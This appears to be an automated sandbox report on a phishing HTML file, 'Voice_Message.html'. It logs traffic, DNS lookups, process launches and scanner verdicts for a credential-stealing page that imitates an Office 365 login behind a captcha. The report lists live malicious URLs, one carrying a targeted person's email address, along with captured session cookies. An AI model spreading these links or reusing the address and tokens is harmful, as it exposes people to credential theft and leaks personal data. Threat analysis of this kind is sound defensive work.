XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3DSec-WebSocket-Key: g81FfHp7JYkxYuU9Ja1sHw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3DSec-WebSocket-Key: v9lPjd1W/COuTzwZm5X0dQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: global traffic	DNS traffic detected: DNS query: fmzd.oryz0.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2710sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: b2c3c6268648b88sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 08:31:10 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: Vi06HHwQfvLLrUFKobzQ4w==$7h7vKqEuS7BXA3nGJyB+pg==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8883b02a3ac3428e-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 08:31:15 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: yoE5f2TDx0vfQHxCK3XAcg==$Jr1fv0IOJIH3LekD4jhJ6Q==Server: cloudflareCF-RAY: 8883b049cb0c8c5d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 08:31:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: q02o+MKsSm/4brxYlv0/rw==$HTPvwikYTFj/0SCS1BzDVQ==Server: cloudflareCF-RAY: 8883b09d0c3a7cb1-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 08:31:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8883b0a52f291982-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 08:31:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CA58A1sYvzGoQfz9qg5ohC%2BUzxD5NXdR4QFm08pKogeZXQVEwKuQ7QVsYWFeQp3%2BK8dkxwoYCfglQMbHs3aGL2MY9v1jVS2ebX0ianiDnxR2eiOjC%2FbjJ6H1IwqObA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8883b0cf3a834384-EWR

Source: chromecache_161.2.dr	String found in binary or memory: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: chromecache_162.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_162.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_161.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.6.0.min.js
Source: chromecache_162.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_162.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_162.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_162.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_162.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_161.2.dr	String found in binary or memory: https://sso.godaddy.com/v1/account/reset?app=o365&realm=pass
Source: chromecache_162.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_162.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_162.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_162.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_162.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_161.2.dr	String found in binary or memory: https://www.godaddy.com/
Source: chromecache_161.2.dr	String found in binary or memory: https://www.godaddy.com/legal/agreements/cookie-policy
Source: chromecache_161.2.dr	String found in binary or memory: https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank
Source: chromecache_161.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_162.2.dr, chromecache_187.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_162.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__.
Source: chromecache_187.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49818 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Voice_Message.html

Initial sample: voice

Source: classification engine

Classification label: mal96.phis.evad.winHTML@34/73@20/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voice_Message.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1880,i,10552325245212046545,8091403860869948201,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1880,i,10552325245212046545,8091403860869948201,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com

HTTP Parser: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#localhost_support	0%	URL Reputation	safe
https://support.google.com/recaptcha#6262736	0%	URL Reputation	safe
https://support.google.com/recaptcha/?hl=en#6223828	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__.	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://www.apache.org/licenses/	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	0%	URL Reputation	safe
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	URL Reputation	safe
https://fmzd.oryz0.com/efncIwTEL0emqS7847WOvPGnqQHZkl99	100%	Avira URL Cloud	malware
https://a.nel.cloudflare.com/report/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/rs446YaMsFkkugl9Pul1200uv39	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74	100%	Avira URL Cloud	malware
https://sso.godaddy.com/v1/account/reset?app=o365&realm=pass	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230	100%	Avira URL Cloud	malware
about:blank	0%	Avira URL Cloud	safe
https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank	0%	Avira URL Cloud	safe
https://www.godaddy.com/legal/agreements/cookie-policy	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js	0%	Avira URL Cloud	safe
https://cloud.google.com/contact	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api.js	0%	Avira URL Cloud	safe
https://fmzd.oryz0.com/klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127	100%	Avira URL Cloud	malware
https://fmzd.oryz0.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	100%	Avira URL Cloud	malware
